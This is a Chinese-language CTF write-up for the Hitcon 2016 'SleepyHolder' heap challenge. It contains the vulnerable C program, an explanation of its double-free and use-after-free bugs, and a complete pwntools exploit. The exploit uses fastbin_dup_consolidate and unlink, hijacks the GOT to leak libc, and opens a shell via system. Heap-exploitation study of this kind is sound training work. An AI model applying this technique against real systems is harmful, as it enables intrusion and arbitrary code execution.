#include
#include
#include
#include
#include
#include
#include #define BASE 40char *s_ptr;
char *f_ptr;
char *q_ptr;
int s_flag;
int f_flag;
int q_flag;
void add()
{
char buf[4];
char *ptr;
unsigned int choice;
puts("What secret do you want to keep?");
puts("1. Small secret");
puts("2. Big secret");
if(!q_flag)
puts("3. Keep a huge secret and lock it forever");
memset(buf, 0 ,sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice)
{
case 1:
if(f_flag)
return;
f_ptr = calloc(1, BASE);
f_flag = 1;
puts("Tell me your secret: ");
read(0, f_ptr, BASE);
break;
case 2:
if(s_flag)
return;
s_ptr = calloc(1, BASE*100);
s_flag = 1;
puts("Tell me your secret: ");
read(0, s_ptr, BASE*100);
break;
case 3:
if(q_flag)
return;
q_ptr = calloc(1, BASE*10000);
q_flag = 1;
puts("Tell me your secret: ");
read(0, q_ptr, BASE*10000);
break;
}}void del()
{
char buf[4];
int choice;
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice)
{
case 1:
free(f_ptr);
f_flag = 0;
break;
case 2:
free(s_ptr);
s_flag = 0;
break;
}}void update()
{
char buf[4];
int choice;
puts("Which Secret do you want to renew?");
puts("1. Small secret");
puts("2. Big secret");
memset(buf, 0, sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice)
{
case 1:
if(f_flag)
{
puts("Tell me your secret: ");
read(0, f_ptr, BASE);
}
break;
case 2:
if(s_flag)
{
puts("Tell me your secret: ");
read(0, s_ptr, BASE*100);
}
break;
}}void handler(){
puts("Timeout!");
exit(1);
}void init_prog(){setvbuf(stdout, 0,2,0);
signal(SIGALRM, handler);
alarm(60);
}int main()
{
init_prog();
puts("Waking Sleepy Holder up ...");
int fd = open("/dev/urandom", O_RDONLY);
unsigned int rand_size;
read(fd, &rand_size, sizeof(rand_size));
rand_size %= 4096;
malloc(rand_size);
sleep(3);
char buf[4];
unsigned int choice;
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while(1){
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(buf, 0 ,sizeof(buf));
read(0, buf, sizeof(buf));
choice = atoi(buf);
switch(choice){
case 1:
add();
break;
case 2:
del();
break;
case 3:
update();
break;
}
}}
root@b0ba199ad1df:/work/how2heap-master/how2heap-master/glibc_2.25/fastbin_dup# checksec SleepyHolder
[*] '/work/how2heap-master/how2heap-master/glibc_2.25/fastbin_dup/SleepyHolder'
Arch:amd64-64-little
RELRO:Partial RELRO
Stack:Canary found
NX:NX enabled
PIE:No PIE (0x400000)
【ctf|Hitcon 2016 SleepyHolder-fastbin_dup_consolidate】除了pie和full relro都开启了
漏洞:释放掉之后指针没有清零,造成double free;update函数没有校验flag有uaf
但是同时每种chunk只能存在一个。
利用思路:用fastbin_dup_consolidate获取到
文章图片
这种结构,从fastbin中申请到但是prev_inpuse位为0
详情参考:
然后伪造chunk进行unlink
unlink原理不容易懂但是伪造方式和结果却很简单
f_ptr = 0x6020d0#1#unlink会把f_ptr-0x18写入到*f_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'
放入size,p64(f_ptr - 0x18) + p64(f_ptr-0x10)这两个是为了绕过unlink的检查
'\x20’这个是preve_size位的。
unlink的结果就是f_ptr-0x18写入到*f_ptr
文章图片
上图的chunk1的0x6020d0位置处已经被写入。
泄露方法:改free函数的got表
这里free函数的使用是这样的
文章图片
直接更改free函数的got表改为puts,再把fptr的值改为put_plt这样调用free函数的时候会调用
puts(put_plt)输出真正运行地址。(到这里已经实现任意地址写了)
#!/usr/bin/env python
#coding=utf-8
from pwn import *#r = remote('52.68.31.117', 9547)
r=process("SleepyHolder")
context.log_level="debug"
def add(t, s):
r.recvuntil('3. Renew secret\n')
r.sendline('1')
r.recvuntil('Big secret\n')
r.sendline(str(t))
r.recvuntil(': \n')
r.send(s)def de(t):
r.recvuntil('3. Renew secret\n')
r.sendline('2')
r.recvuntil('Big secret\n')
r.sendline(str(t))def update(t, s):
r.recvuntil('3. Renew secret\n')
r.sendline('3')
r.recvuntil('Big secret\n')
r.sendline(str(t))
r.recvuntil(': \n')
r.send(s)add(1, 'a')#49
add(2, 'a')#4016
de(1)
add(3, 'a')#40*10000de(1)f_ptr = 0x6020d0#1#unlink会把f_ptr-0x18写入到*f_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'
add(1, fake_chunk)de(2)
gdb.attach(r)
atoi_GOT = 0x602080
free_GOT = 0x602018
puts_GOT = 0x602020
puts_plt = 0x400760
atoi_offset = 0x36e70
system_offset = 0x45380f = p64(0)
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)
f += p32(1)*3
update(1, f)
update(1, p64(puts_plt))de(2)
s = r.recv(6)libc_base = u64(s.ljust(8, '\x00')) - atoi_offset
system = libc_base + system_offset
update(1, p64(system))
add(2, 'sh\0')
de(2)r.interactive()
推荐阅读
- 解护网杯一道web(EasyChallenge)
- ELF,PE文件格式 及 延迟绑定(PLT、GOT表)、动态链接(.dynamic段)
- ctf|ctf-htctf-misc
- C++|一些关于程序内存布局的问题
- QCTF 2018xman夏令营选拔赛
- 第一届桂林电子科技大学绿盟杯CTF大赛 wp
- Capture the flag
- CTF|BUUOJ [2019红帽杯]easyRE
- [V&N2020 公开赛]babybabypwn[srop]
- babyheap_0ctf_2017